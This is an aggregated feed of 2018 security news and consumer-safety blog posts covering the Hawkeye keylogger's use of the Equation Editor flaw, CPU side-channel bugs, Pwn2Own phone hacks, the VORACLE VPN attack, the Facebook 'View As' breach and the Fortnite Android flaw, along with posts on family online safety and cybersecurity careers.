This is a post from HackRead.com Read the original post: iPhone X, Xiaomi Mi 6 & Samsung Galaxy S9 hacked at Pwn2Own

Threat Actors Exploit Equation Editor to Distribute Hawkeye Keylogger

A recent keylogger campaign leveraged an old Microsoft Office Equation Editor vulnerability to target user credentials, passwords and clipboard content.

As reported by Quick Heal, threat actors used Rich Text Format (RTF) files — either standalone or embedded in PDF files with DOC extensions — to distribute the Hawkeye keylogger malware.

While the attacks used typical phishing emails to target users and organizations, the campaign opted for a less common path to compromise: the Microsoft Office Equation Editor. The so-called “Hawkeye v8 Reborn” exploit CVE-2017-11882, which triggers a stack buffer overflow in Equation Editor by using an unbounded string of FONT name defined within a FONT record structure. If successful, attackers gain the ability to execute arbitrary code and deliver malware payloads.

Latest Version of Hawkeye Keylogger Brings Additional Capabilities

Obfuscation and evasion are critical to Hawkeye’s success. It starts with the use of Equation Editor: Despite a November 2017 fix from Microsoft, many unpatched versions still exist.

In addition, the Hawkeye keylogger attempts to evade detection by compiling code while executing, and loading its payload in memory rather than writing it to disk. By waiting until the last possible moment to compile code and limiting its attack surface to in-memory infections, Hawkeye makes it difficult for security professionals to identify the threat.

Once the keylogger payload is up and running, threat actors have access to myriad functions, including File Transfer Protocol (FTP) copying, mail credential theft and clipboard capture. The malware also leverages antidebugging with SuppressIldasm and ConfuserEx 1.0, and uses legitimate tools such as MailPassView and BrowserPassView to steal passwords. Furthermore, Hawkeye disables antivirus tools, task manager, command prompt and registry, and the restoration service rstrui.exe is also disrupted to prevent file recovery.

How Security Teams Can Dodge Hawkeye’s Attacks

To avoid Hawkeye keylogger campaigns and similar malspam efforts, organizations should start with patching. It comes down to the Pareto Principle: 20 percent of security issues cause around 80 percent of security problems. In the case of CVE-2017-11882, this means applying Microsoft’s November 2017 fix.

Security experts also recommend implementing multilayered malspam defense, including email filtering, endpoint protection and system hardening. Given the ability of determined attackers to bypass these measures, however, it’s also a good idea to deploy automated incident response (IR) processes capable of analyzing emails, extracting indicators of compromise (IoCs), and updating all filtering devices and services with this information.

Source: Quick Heal, Microsoft

The post Threat Actors Exploit Equation Editor to Distribute Hawkeye Keylogger appeared first on Security Intelligence.

7 New Meltdown and Spectre-type CPU Flaws Affect Intel, AMD, ARM CPUs

Disclosed earlier this year, potentially dangerous Meltdown and Spectre vulnerabilities that affected a large family of modern processors proven that speculative execution attacks can be exploited in a trivial way to access highly sensitive information. Since then, several more variants of speculative execution attacks have been discovered, including Spectre-NG, SpectreRSB, Spectre 1.1,

0-Days Found in iPhone X, Samsung Galaxy S9, Xiaomi Mi6 Phones

At Pwn2Own 2018 mobile hacking competition held in Tokyo on November 13-14, white hat hackers once again demonstrated that even the fully patched smartphones running the latest version of software from popular smartphone manufacturers can be hacked. Three major flagship smartphones—iPhone X, Samsung Galaxy S9, and Xiaomi Mi6—were among the devices that successfully got hacked at the annual

Unpatched Microsoft Word Video Feature Vulnerability is Being Exploited In The Wild

Last month, researchers from a cybersecurity firm shared their findings on a bug in Microsoft Word online’s video feature that

Unpatched Microsoft Word Video Feature Vulnerability is Being Exploited In The Wild on Latest Hacking News.

Chinese APT Group Exploit Fixed Critical Adobe ColdFusion Vulnerability On Unpatched Servers

In September, Adobe patched numerous critical vulnerabilities in ColdFusion. However, a couple of weeks after Adobe released the patches, researchers

Chinese APT Group Exploit Fixed Critical Adobe ColdFusion Vulnerability On Unpatched Servers on Latest Hacking News.

Red Dead Redemption 2 Glitch Lets You Get Any Horse Randomly

In a game set up in the Westernized era of the late 19th century, the main charm for the players

Red Dead Redemption 2 Glitch Lets You Get Any Horse Randomly on Latest Hacking News.

63 New Flaws (Including 0-Days) Windows Users Need to Patch Now

It's Patch Tuesday once again…time for another round of security updates for the Windows operating system and other Microsoft products. This month Windows users and system administrators need to immediately take care of a total of 63 security vulnerabilities, of which 12 are rated critical, 49 important and one moderate and one low in severity. <!-- adsense --> Two of the vulnerabilities

How Can Companies Move the Needle on Enterprise Cloud Security Risks and Compliance?

More than ever, customers understand their right to data privacy. As major brands continue to lose sensitive data to cybercriminals in high-profile cloud security failures, customer trust in companies across industries is fading. Only 25 percent of consumers believe most companies handle their data responsibly, according to PricewaterhouseCoopers (PwC). As a result, secure, transparent data handling practices are more imperative than ever.

New regulations signal that governing bodies are also taking the enterprise’s responsibility for data privacy very seriously. The Brazil Privacy Act and the California Consumer Privacy Act support the consumer’s right to understand how their data is collected and used, and the New York Department of Financial Services (NYDFS) requirements are among the first regulations to address cloud security risks. Proposed rules require financial institutions to conduct vulnerability assessments and practice data classification and safe data management, whether the data resides on-premises or in the cloud.

Misconfigurations Cause Database Security Mayhem

Despite increased pressure to protect customer data, security teams are still struggling to address database security risks. Misconfigured servers, networked backup incidents and other system misconfigurations resulted in the exposure of 2 billion data records in 2017, according to the “IBM X-Force Threat Intelligence Index 2018” — that’s a 424 percent increase in such data breaches over last year’s total.

Cybercriminals are innovating quickly to take advantage of enterprise cloud security challenges. Many are using and creating open source tools to scan the web for unprotected cloud storage and, in some cases, locking these systems for ransom. Results from a Threat Stack study indicated that the majority of cloud databases are unprotected or otherwise misconfigured. Researchers attributed the prevalence of misconfigurations to employee negligence and insufficient IT policies.

Why the Enterprise Cloud Is Vulnerable

Still, it would be unfair to blame the current state of enterprise cloud security on employee negligence — at least, not entirely. Critical misconfigurations are technically the result of inadvertent insider error, but the reality is a bit more complex. Correcting configurations and compliance risks is difficult because security teams lack actionable visibility into cloud risks. There’s a glut of security risk to deal with, and traditional approaches to assessing risk result in an abundance of data with little actionable intelligence.

The enterprise cloud environment is complex and difficult to capture with vulnerability assessment tools designed for physical network and endpoint risk assessments. The unstructured, NoSQL landscape of the big data on cloud evolves on a near-daily basis to accommodate new forms of unstructured data. It’s no wonder that trying to assess database security risk across heterogeneous environments is often compared to finding a needle in a haystack.

Layered vulnerability assessments are crucial to protect against cloud security and compliance risks. Under some recent regulatory requirements, in fact, vulnerability assessments are mandatory. However, the enterprise needs vulnerability solutions that can support the scale of cloud database-as-a-service (DBaaS), traditional on-premises databases, warehouses and big data environments in a meaningful way.

Advanced analytics are necessary to sort through complex event data to correlate patterns and find true outliers that are associated with meaningful risk of data loss or advanced threats. The sheer volume and variety of data in the enterprise cloud requires proactive vulnerability assessment. A vulnerability assessment solution should automate risk prioritization, recommend remediation and simplify complex compliance requirements.

How to Achieve Real-Time Security and Compliance in Cloud or Hybrid Environments

Reducing risk requires visibility and control with an adaptive, real-time approach to understanding exposure. In a database environment, assessments should actively examine privileges, authentication, configuration, versioning and patching. Finding and remediating advanced threats from insiders, ransomware and data breaches requires advanced analytics. Your vulnerability assessment solution should rank risks based on the importance of data and breach likelihood and recommend remediation actions.

Security and risk are convening in the enterprise, and vulnerability tools should deliver risk intelligence that can be shared with the chief information officer (CIO), chief security officer (CSO) and chief risk officer (CRO). Enterprise cloud environments are complex, but a vulnerability assessment tool can provide a consolidated and actionable view into risk, remediation, compliance and policy. To drive continued value, however, a vulnerability assessment solution must scale to new services as new applications, databases and cloud services are deployed over time.

The cloud has shifted the landscape and created the need for a new approach to assessing risks. If understanding compliance and configurations feels like finding needles in a haystack, it may be time to automate. Data privacy is now a compliance and customer imperative, and understanding the state of your databases is critical, so aim to scale your security assessments with a solution designed for the complexities of the enterprise cloud environment.

Learn more about vulnerability assessment for cloud databases

The post How Can Companies Move the Needle on Enterprise Cloud Security Risks and Compliance? appeared first on Security Intelligence.

Flaws in Popular Self-Encrypting SSDs Let Attackers Decrypt Data

We all have something to hide, something to protect. But if you are also relying on self-encrypting drives for that, then you should read this news carefully. Security researchers have discovered multiple critical vulnerabilities in some of the popular self-encrypting solid state drives (SSD) that could allow an attacker to decrypt disk encryption and recover protected data without knowing

Here’s How Hackers Could Have Spied On Your DJI Drone Account

Cybersecurity researchers at Check Point today revealed details of a potential dangerous vulnerability in DJI Drone web app that could have allowed attackers access user accounts and synced sensitive information within it, including flight records, location, live video camera feed, and photos taken during a flight. Thought the vulnerability was discovered and responsibly reported by the

Smashing Security #103: An Instagram nightmare, crazy iPhone deaths, and election hack claims

Smashing Security #103: An Instagram nightmare, crazy iPhone deaths, and election hack claims

One travel blogger finds you don’t have to be Kylie Jenner to be targeted by an Instagram hacker. When 40 iPhones at a hospital mysteriously die, what could be the explanation? And, surprise surprise, political parties in the USA are throwing around hacking accusations.

All this and much more is discussed in the latest edition of the award-winning “Smashing Security” podcast by computer security veterans Graham Cluley and Carole Theriault, joined this week by Naked Security’s Mark Stockley.

Unpatched VirtualBox Zero-Day Vulnerability and Exploit Released Online

An independent exploit developer and vulnerability researcher has publicly disclosed a zero-day vulnerability in VirtualBox—a popular open source virtualization software developed by Oracle—that could allow a malicious program to escape virtual machine (guest OS) and execute code on the operating system of the host machine. The vulnerability occurs due to memory corruption issues and affects

Popular WooCommerce WordPress Plugin Patches Critical Vulnerability

If you own an eCommerce website built on WordPress and powered by WooCommerce plugin, then beware of a new vulnerability that could compromise your online store. Simon Scannell, a researcher at RIPS Technologies GmbH, discovered an arbitrary file deletion vulnerability in the popular WooCommerce plugin that could allow a malicious or compromised privileged user to gain full control over the

New Intel CPU Flaw Exploits Hyper-Threading to Steal Encrypted Data

A team of security researchers has discovered another serious side-channel vulnerability in Intel CPUs that could allow an attacker to sniff out sensitive protected data, like passwords and cryptographic keys, from other processes running in the same CPU core with simultaneous multi-threading feature enabled. The vulnerability, codenamed PortSmash (CVE-2018-5407), has joined the list of other

Unpatched MS Word Flaw Could Allow Hackers to Infect Your Computer

Cybersecurity researchers have revealed an unpatched logical flaw in Microsoft Office 2016 and older versions that could allow an attacker to embed malicious code inside a document file, tricking users into running malware onto their computers. Discovered by researchers at Cymulate, the bug abuses the 'Online Video' option in Word documents, a feature that allows users to embedded an online

New iPhone Passcode Bypass Found Hours After Apple Releases iOS 12.1

It's only been a few hours since Apple releases iOS 12.1 and an iPhone enthusiast has managed to find a passcode bypass hack, once again, that could allow anyone to see all contacts' private information on a locked iPhone. Jose Rodriguez, a Spanish security researcher, contacted The Hacker News and confirmed that he discovered an iPhone passcode bypass bug in the latest version of its iOS

A week in security (October 22 – 28)

Last week on Malwarebytes Labs, we took a look at some new Mac malware,  gave you a roundup of 2018 exploit kits, and dispensed some advice on sextortion scams. We also looked at the Cathay Pacific breach, groaned at the revival of an old browser trick, and explained how voting machines and elections are vulnerable to attack.

Other cybersecurity news

Stay safe, everyone!

The post A week in security (October 22 – 28) appeared first on Malwarebytes Labs.

“Grand Theft Auto V” Hack: How to Defeat the Online Gaming Bug

Over the past two decades, we’ve seen a huge rise in the popularity of online gaming among both children and adults. One particular game that has experienced huge success is “Grand Theft Auto,” or GTA, which has been developed and produced by Rockstar Games. The most recent edition of the game, “Grand Theft Auto V,” hit $6 billion in sales as of April 2018, creating a record-breaking impact in the gaming industry. However, the game’s massive success doesn’t mean it’s immune to cyberattacks. A recent vulnerability in “Grand Theft Auto V” allowed malicious trolls to take over users’ games who were entering into single-player mode. By leveraging the flaw, these hackers were not only able to kick gamers off of their single-player session but could also continually kill their avatar.

So how exactly did these trolls carry out these attacks? Beginning last week, reports began to circulate that one popular ‘mod menu,’ or a series of alterations sought out and installed by players, was all the sudden advertising the ability to discover an online player’s Rockstar ID – a problem potentially originating from a bug found in the game’s most recent update. Taking advantage of this opportunity, hackers gained access to users’ Rockstar IDs and took control of their single-player games. Soon enough, legitimate players’ games were hijacked and sabotaged.

It is unclear as to whether this vulnerability came out of Rockstar’s most recent update or if this hack has been around for years and just now found its way to public PC mod menus. Either way, it sheds light on how persistent cyberthreats are in the world of online gaming – even impacting some of the most popular video games out there, such as “Grand Theft Auto V.”

Fortunately, reports are already circulating the bug was quietly patched over the weekend (despite confirmation from the game’s developer) – so to protect against the hack, all users should update their game as soon as possible. However, that doesn’t mean there still aren’t some steps these gamers can take to protect themselves from future hacks and vulnerabilities. Check out the following tips:

  • Limit the personal info on your online profile. Gamers are required to create a user profile in order to access the appropriate console/computer network. When creating your profile, avoid displaying your personal information that could potentially be used against you by hackers, such as your name, address, date of birth, and email address.
  • Create a unique and complex password for your online profile. The more complex the password, the more difficult it will be for a hacker to access your personal information. And, of course, make sure you don’t share your password with other users.
  • Be careful who you chat with. Online games will usually have a built-in messenger service that allows players to contact each other. It’s important to be aware of the risks associated with chatting to strangers. If you choose to use the chat feature in your online game, never give out your account details and avoid opening messages with attached files or links.

And, of course, to stay on top of the latest consumer and mobile security threats, be sure to follow me and @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

The post “Grand Theft Auto V” Hack: How to Defeat the Online Gaming Bug appeared first on McAfee Blogs.

Have You Talked to Your Kids About a Career in Cybersecurity?

career in cybersecurityHere’s some cool trivia for you: What profession currently has a zero-percent unemployment rate, pays an average of $116,000 a year, and is among the top in-demand jobs in the world? A lawyer? A pharmacist? A finance manager, perhaps?

Nope. The job we’re talking about is a cybersecurity specialist and, because of the increase in cyber attacks around the world, these professionals are highly employable.

Job Security

According to numbers from the Bureau of Labor and Statistics, a career in cybersecurity is one of the most in-demand, high-paying professions today with an average salary of $116,000, or approximately $55.77 per hour. That’s nearly three times the national median income for full-time wage and salary workers. How’s that for job security?

Why is the demand so high? Sadly, because there are a lot of black hats (bad guys) out there who want our data — our user IDs, passwords, social security numbers, and credit card numbers. Every month it seems banks, hospitals, and major corporations are reporting security breaches, which has put the global cybersecurity talent an estimated deficit of two million professionals.career in cybersecurity

It’s exciting to see gifts and passions emerge in our kids as they grow and mature. If a child is good at math and sciences, we might point them toward some the medical field. If they a child shows an affinity in English and communication skills, maybe a law, teaching, or media career is in their future.

But what about a cybersecurity expert? Have you noticed any of these skills in your kids?

Cybersecurity skills/traits:

Problem-solving
Critical thinking
Flexible/creative problem solving
Collaborative, team player
Continual learner
Gaming fan
A sense of duty, justice
Persistent, determined
Works well under pressure
Curious and perceptive
Technology/tech trend fan
Verbal and written communications

Education

Most jobs in cybersecurity require a four-year bachelor’s degree in cybersecurity or a related field such as information technology or computer science. Students take coursework in programming and statistics, ethics, and computer forensics, among other courses.

Conversation Starters

First, if your child has some of the skills/personality traits mentioned, how do you start directing him or her toward this field? The first place to begin is in the home. Model smart cybersecurity habits. Talk about digital safety, the importance of protecting personal data and the trends in cybercrimes. In short, model and encourage solid digital citizenship and family security practices. career in cybersecurity

Second, bring up the possibility, or plant the seed. Be sure to encourage both boys and girls equally. Help your child find answers to his or her questions about careers in computer and data science, threat research, engineering and information on jobs such as cybersecurity analyst, vulnerability analyst, and penetration tester.

Third, read and share takeaways from the Winning The Game a McAfee report that investigates the key challenges facing the IT Security industry and the possible teen gaming link to a successful cybersecurity career.

Additional resources*

CyberCompEx. A connection point for everything cybersecurity including forums, groups, news, jobs, and competition information.

CyberCorps® Scholarship for Service. SFS is a program providing scholarships and stipends to undergraduate and graduate students studying cybersecurity at participating institutions. Great for those who want to work in government.

CyberPatriot. This site is created by the Air Force Association (AFA) to inspire K-12 students toward careers in cybersecurity or other science, technology, engineering, and mathematics (STEM).

GenCyber. This is a summer cybersecurity camp for K-12 students and teachers that focuses on inspiring kids to direct their talents toward cybersecurity skills and closing the security skills gap.

career in cybersecurityNational CyberWatch Center. The National CyberWatch Center is a consortium of higher education institutions, public and private businesses, and government agencies focused on advancing cybersecurity education and strengthening the workforce.

National Initiative for Cybersecurity Careers and Studies. NICCS provides information on cybersecurity training, formal education, and workforce development.

National Initiative for Cybersecurity Education. NICE is an initiative to energize and promote a robust network and an ecosystem of cybersecurity education, cybersecurity careers, training, and workforce development.

*Resource list courtesy of Stay Safe Online.

 

Toni Birdsong is a Family Safety Evangelist to McAfee. You can find her onTwitter @McAfee_Family. (Disclosures)

The post Have You Talked to Your Kids About a Career in Cybersecurity? appeared first on McAfee Blogs.

The VORACLE OpenVPN Attack: What You Need to Know

Many of us know that using a VPN (Virtual Private Network) adds an extra layer of security to our Wi-Fi networks. But VORACLE, a recently discovered vulnerability that was announced at a security conference by security researcher Ahamad Nafeez, is making some people reconsider this this steadfast safety tip. Let’s look under the hood at this vulnerability to understand what was impacted and why, and what we should do in the future when it comes to safely connecting to Wi-Fi.

Under the Hood of a VPN

A VPN is a connection between a secure server and your mobile device or computer. Through the VPN your activity and information on the internet is encrypted, making it difficult for anyone else to see your private information. Many of us use a VPN for work when we travel, some of us use them to watch videos online, and more and more of us use them as a best practice to help keep our information safe any time we want to use a Wi-Fi connection that we’re not sure about.

About the VORACLE VPN Vulnerability

At a high level, VORACLE leverages a vulnerability found in the open-source OpenVPN protocol. OpenVPN is an open-source protocol used by the majority of VPN providers, meaning many VPN products are affected.

The VORACLE attack can recover HTTP traffic sent via encrypted VPN connections under certain conditions, the first being that the VPN app in use enables compression via the OpenVPN protocol. A  hacker must be on the same network and able to lure you to an HTTP (not HTTPS) site with malicious code through phishing or a similar other tactic. The attack can happen on all web browsers but Google Chrome, due to the way in which HTTP requests are made.

Luckily the McAfee Safe Connect VPN was not built on the vulnerable OpenVPN code. That said, I want to take this opportunity to remind you of something we talk about a lot in the security industry: relying on only one layer of security is simply not enough today. Here are some tips and best practices to stay safe.

  • Set up multi-factor authentication whenever possible. This tip is especially important for valuable accounts like email or social media, which might be connected to financial information. With multi-factor authentication in place, you’ll be better protected by combining your usual login information with another layer of protection, such as a one-time-password sent to your phone, bio metrics (say, a thumb print), or a security token that you’ll need to confirm before getting access to your account.
  • Use secure websites (HTTPS) whenever possible. The ‘S’ at the end of HTTPS stands for ‘Secure’. It means all communications between your browser and the website are encrypted. Most websites are moving toward this standard practice, so if you notice yourself landing on a website with just HTTP, stay alert.
  • Avoid making financial transactions until you’re on a network you trust. Sharing personal data like your credit card information can lead to unnecessary vulnerabilities. The best bet is to wait until you’re on your home network with additional layers of security such as McAfee’s Secure Home Platform already in place.
  • Consider using your mobile network and being your own hotspot. If your mobile or IoT data plan includes a hot spot, consider using that over Wi-Fi to avoid some of the challenges that come with it in the first place.
  • Do continue to use a personal VPN when you’re on the go and using Wi-Fi– just be sure to do so while having an additional layer of security in place so that if a similar vulnerability is discovered, you’ll already have a backup.

Looking for more mobile security tips and trends? Be sure to follow @McAfee_Home on Twitter, and like us on Facebook.

The post The VORACLE OpenVPN Attack: What You Need to Know appeared first on McAfee Blogs.

#CyberAware: Teaching Kids to Get Fierce About Protecting Their Identity

Identity ProtectionIt wasn’t Kiley’s fault, but that didn’t change the facts: The lending group denied her college loan due to poor credit, and she didn’t have a plan B. Shocked and numb, she began to dig a little deeper. She discovered that someone had racked up three hefty credit card bills using her Social Security Number (SSN) a few years earlier.

Her parents had a medical crisis and were unable to help with tuition, and Kiley’s scholarships didn’t cover the full tuition. With just months left before leaving to begin her freshman year at school, Kiley was forced to radically adjusted her plans. She enrolled in the community college near home and spent her freshman year learning more than she ever imagined about identity protection and theft.

The Toll: Financial & Emotional

Unfortunately, these horror stories of childhood identity theft are all too real. According to Javelin Strategy & Research, more than 1 million children were the victim of identity fraud in 2017, resulting in losses of $2.6 billion and more than $540 million in out-of-pocket costs to the families.

The financial numbers don’t begin to reflect the emotional cost victims of identity theft often feel. According to the 2017 Identity Theft Aftermath report released by the Identity Theft Resource Center, victims report feeling rage, severe distress, angry, frustrated, paranoid, vulnerable, fearful, and — in 7% of the cases — even suicidal.

Wanted: Your Child’s SSNIdentity Protection

Sadly, because of their clean credit history, cyber crooks love to target kids. Also, identity theft among kids often goes undiscovered for more extended periods of time. Thieves have been known to use a child’s identity to apply for government benefits, open bank or credit card accounts, apply for a loan or utility service, or rent a place to live. Often, until the child grows up and applies for a car or student loan, the theft goes undetected.

Where do hackers get the SSN’s? Data breaches can occur at schools, pediatrician offices, banks, and home robberies. A growing area of concern involves medical identity theft, which gives thieves the ability to access prescription drugs and even expensive medical treatments using someone else’s identity.

6 Ways to Build #CyberAware Kids

  1. Talk, act, repeat. Identity theft isn’t a big deal until it personally affects you or your family only, then, it’s too late. Discuss identity theft with your kids and the fallout. But don’t just talk — put protections in place. Remind your child (again) to keep personal information private. (Yes, this habit includes keeping passwords and personal data private even from BFFs!)
  2.  Encourage kids to be digitally savvy. Help your child understand the tricks hackers play to steal the identities of innocent people. Identity thieves will befriend children online and with the goal of gathering personal that information to steal their identity. Thieves are skilled at trolling social networks looking at user profiles for birth dates, addresses, and names of family members to piece together the identity puzzle. Challenge your kids to be on the hunt for imposters and catfishes. Teach them to be suspicious about links, emails, texts, pop up screens, and direct messages from “cute” but unknown peers on their social media accounts. Teach them to go with their instincts and examine websites, social accounts, and special shopping offers.Identity Protection
  3. Get fierce about data protection. Don’t be quick to share your child’s SSN or secondary information such as date of birth, address, and mothers’ maiden name and teach your kids to do the same. Also, never carry your child’s (or your) physical Social Security card in your wallet or purse. Keep it in a safe place, preferably under lock and key. Only share your child’s data when necessary (school registration, passport application, education savings plan, etc.) and only with trusted individuals.
  4. File a proactive fraud alert. By submitting a fraud alert in your child’s name with the credit bureaus several times a year, you will be able to catch any credit fraud early. Since your child hasn’t built any credit, anything that comes back will be illegal activity. The fraud alert will remain in place for only 90 days. When the time runs out, you’ll need to reactivate the alert. You can achieve the same thing by filing an earnings report from the Social Security Administration. The report will reveal any earnings acquired under your child’s social security number.
  5. Know the warning signs. If a someone is using your child’s data, you may notice: 1) Pre-approved credit card offers addressed to them arriving via mail 2) Collection agencies calling and asking to speak to your child 3) Court notices regarding delinquent bills. If any of these things happen your first step is to call and freeze their credit with the three credit reporting agencies: Equifax, Experian, and TransUnion.
  6. Report theft. If you find a violation of your child’s credit of any kind go to  IdentityTheft.gov to report the crime and begin the restoring your child’s credit. This site is easy to navigate and takes you step-by-step down the path of restoring stolen credit.

Building digitally resilient kids is one of the primary tasks of parents today. Part of that resilience is taking the time to talk about this new, digital frontier that is powerful but has a lot of security cracks in it that can negatively impact your family. Getting fierce about identity protection can save your child (and you) hours and even years of heartache and financial loss.

 

Toni Birdsong is a Family Safety Evangelist to McAfee. You can find her onTwitter @McAfee_Family. (Disclosures)

The post #CyberAware: Teaching Kids to Get Fierce About Protecting Their Identity appeared first on McAfee Blogs.

Facebook Announces Security Flaw Found in “View As” Feature

Another day, another Facebook story. In May, a Facebook Messenger malware named FacexWorm was utilized by cybercriminals to steal user passwords and mine for cryptocurrency. Later that same month, the personal data of 3 million users was exposed by an app on the platform dubbed myPersonality. And in June, millions of the social network’s users may have unwittingly shared private posts publicly due to another new bug. Which brings us to today. Just announced this morning, Facebook revealed they are dealing with yet another security breach, this time involving the “View As” feature.

Facebook users have the ability to view their profiles from another user’s perspective, which is called “View As.” This very feature was found to have a security flaw that has impacted approximately 50 million user accounts, as cybercriminals have exploited this vulnerability to steal Facebook users’ access tokens. Access tokens are digital keys that keep users logged in, and they permit users to bypass the need to enter a password every time. Essentially, this flaw helps cybercriminals take over users’ accounts.

While the access tokens of 50 million accounts were taken, Facebook still doesn’t know if any personal information was gathered or misused from the affected accounts. However, they do suspect that everyone who used the “View As” feature in the last year will have to log back into Facebook, as well as any apps that used a Facebook login. An estimated 90 million Facebook users will have to log back in.

As of now, this story is still developing, as Facebook is still investigating further into this issue. Now, the question is — if you’re an impacted Facebook user, what should you do to stay secure? Start by following these tips:

  • Change your account login information. Since this flaw logged users out, it’s vital you change up your login information. Be sure to make your next password strong and complex, so it will be difficult for cybercriminals to crack. It also might be a good idea to turn on two-factor authentication.
  • Update, update, update. No matter the application, it can’t be stressed enough how important it is to always update an app as soon as an update is available, as fixes are usually included with each version. Facebook has already issued a fix to this vulnerability, so make sure you update immediately.

And, of course, to stay on top of the latest consumer and mobile security threats, be sure to follow me and @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

The post Facebook Announces Security Flaw Found in “View As” Feature appeared first on McAfee Blogs.

‘McAfee Labs Threats Report’ Highlights Cryptojacking, Blockchain, Mobile Security Issues

As we look over some of the key issues from the newly released McAfee Labs Threats Report, we read terms such as voice assistant, blockchain, billing fraud, and cryptojacking. Although voice assistants fall in a different category, the other three are closely linked and driven by the goal of fast, profitable attacks that result in a quick return on a cybercriminal’s investment.

One of the most significant shifts we see is that cryptojacking is still on the rise, while traditional ransomware attacks—aka “shoot and pray they pay”—are decreasing. Ransomware attacks are becoming more targeted as actors conduct their research to pick likely victims, breach their networks, and launch the malware followed by a high-pressure demand to pay the ransom. Although the total number of ransomware samples has fallen for two quarters, one family continues to spawn new variants. The Scarab ransomware family, which entered the threat landscape in June 2017, developed a dozen new variants in Q2. These variants combined make up more than 50% of the total number of Scarab samples to date.

What spiked the movement, starting in fall 2017, toward cryptojacking? The first reason is the value of cryptocurrency. If attacker can steal Bitcoins, for example, from a victim’s system, that’s enough. If direct theft is not possible, why not mine coins using a large number of hijacked systems. There’s no need to pay for hardware, electricity, or CPU cycles; it’s an easy way for criminals to earn money. We once thought that CPUs in routers and video-recording devices were useless for mining, but default or missing passwords wipe away this view. If an attacker can hijack enough systems, mining in high volume can be profitable. Not only individuals struggle with protecting against these attacks; companies suffer from them as well.

Securing cloud environments can be a challenge. Building applications in the cloud with container technology is effective and fast, but we also need to create the right amount of security controls. We have seen breaches in which bad actors uploaded their own containers and added them to a company’s cloud environment—which started to mine cryptocurrency.

New technologies and improvements to current ones are great, but we need to find the balance of securing them appropriately. Who would guess to use an embedded voice assistant to hack a computer? Who looks for potential attack vectors in new technologies and starts a dialog with the industry? One of those is the McAfee Advanced Threat Research team, which provides most of the analysis behind our threats reports. With a mix of the world’s best researchers in their key areas, they take on the challenge of making the (cyber) world safer. From testing vulnerabilities in new technologies to examining malware and the techniques of nation-state campaigns, we responsibly disclose our research to organizations and the industry. We take what we learn from analyzing attacks to evaluate, adapt, and innovate to improve our technology.

The post ‘McAfee Labs Threats Report’ Highlights Cryptojacking, Blockchain, Mobile Security Issues appeared first on McAfee Blogs.

Family Tech: How Safe is Your Child’s Personal Data at School?

Kids and Personal DataRight about now, most kids are thinking about their chemistry homework, the next pep rally, or chiming in on their group text. The last thing on their minds as they head back to school is cybersecurity. But, it’s the one thing — if ignored — that can wreck the excitement of a brand new school year.

You’ve done a great job, parent. You’ve equipped their phones, tablets, and laptops with security software. And, you’ve beefed up safeguards on devices throughout your home. These efforts go a long way in protecting your child’s (and family’s) privacy from prying eyes. Unfortunately, when your child walks out your front door and into his or her school, new risks await.

No one knows this season better than a cybercriminal. Crooks know there are loopholes in just about every school’s network and that kids can be easy targets online. These security gaps can open kids up to phishing scams, privacy breaches, malware attacks, and device theft.

The school security conversation

Be that parent. Inquire about your school’s security protocols.  The K-12 Cybersecurity Resource Center reports that 358 school breaches have taken place since January of 2016.  Other reports point to an increase in hackers targeting school staff with phishing emails and seeking student social security numbers to sell on the dark web.

A few questions to consider:Kids and Personal Data

  • Who has physical and remote access to your student’s digital records and what are the school’s protection practices and procedures?
  • How are staff members trained and are strong password protocols in place?
  • What security exists on school-issued devices? What apps/software is are being used and how will those apps collect and use student data?
  • What are the school’s data collection practices? Do data collection practices include encryption, secure data retention, and lawful data sharing policies?
  • What is the Bring Your Own Device (BYOD) policy?

The data debate

As K-12 administrators strive to maintain secure data collection practices for students, those same principles may be dubious as kids move on to college. As reported by Digiday, one retailer may be quietly disassembling privacy best practices with a bold “pay with data” business model. The Japanese coffee chain Shiru Café offers students and faculty members of Brown University free coffee in exchange for entering personal data into an online registry. Surprisingly, the café attracts some 800 customers a day and is planning on expanding its business model to more college campuses.

The family conversation

Keep devices close. Kids break, lose, lend, and leave their tech unattended and open to theft. Discuss responsible tech ownership with your kids. Stolen devices are privacy gold mines.

Never share passwords. Kids express their loyalty to one another in different ways. One way that’s proving popular but especially unsafe nowadays is password sharing. Remind kids: It’s never okay to share passwords to devices, social networks, or school platforms. Never. Password sharing opens up your child to a number of digital risks.

Safe clicking, browsing practices. Remind kids when browsing online to watch out for phishing emails, fake news stories, streaming media sites, and pop-ups offering free downloads. A bad link can infect a computer with a virus, malware, spyware, or ransomware. Safe browsing also includes checking for “https” in the URL of websites. If the website only loads with an “http,” the website may not be enforcing encryption.Kids and Personal Data

Be more of a mystery. Here is a concept your kids may or may not latch on to but challenge them to keep more of their everyday life a mystery by posting less. This includes turning off location services and trying to keep your whereabouts private when sharing online. This challenge may be fun for your child or downright impossible, but every step toward boosting privacy is progress!

Discuss the risk of public Wi-Fi. Kids are quick to jump on Wi-Fi wherever they go so they can use apps without depleting the family data plan. That habit poses a big problem. Public Wi-Fi is a magnet for hackers trying to get into your device and steal personal information. Make sure every network your child logs on to requires a password to connect. Go a step further and consider using a Virtual Private Network (VPN) for added security for your whole family.

Want to connect more to digital topics that affect your family? Stop by ProtectWhatMatters.online, and follow @McAfee_Family on Twitter. Also, join the digital security conversation on Facebook.

Toni Birdsong is a Family Safety Evangelist to McAfee. You can find her onTwitter @McAfee_Family. (Disclosures)

The post Family Tech: How Safe is Your Child’s Personal Data at School? appeared first on McAfee Blogs.

Attention Fortnite Fans: The New Android App Was Found Containing a Massive Vulnerability

Back in June, Fortnite fans, hopeful for an Android version of the game, were teased with fake apps, which were in turn part of a cybercriminal’s scheme. Fast forward to present day, and their prayers have been answered, as a real Android version of the popular game has been released. However, a recently revealed flaw in the app is raining on their parade, as Google security researchers have revealed this week that the Fortnite Android app is vulnerable to man-in-the-disk (MitD) attacks.

For some context, a man-in-the-disk (MitD) attack is rooted in an app’s ability to use ‘External Storage,’ which is one of the two types of data storage methods supported by the Android OS. With this attack, a cybercriminal can watch a particular app’s External Storage space and tamper with the data stored in this storage space since its shared by all apps.

Now, you may be wondering how does this work with this new Fortnite Android app vulnerability? This recently disclosed vulnerability allows for malicious apps (that are already installed on a user’s phone) to hijack the Fortnite app’s installation process and download other malicious apps. This means a hacker could essentially install any nasty software they wanted on to a victim’s phone. And according to recent McAfee research, this is precisely what some parents fear when their children game online. In fact, 52% worry about cybercriminals hacking gaming accounts.

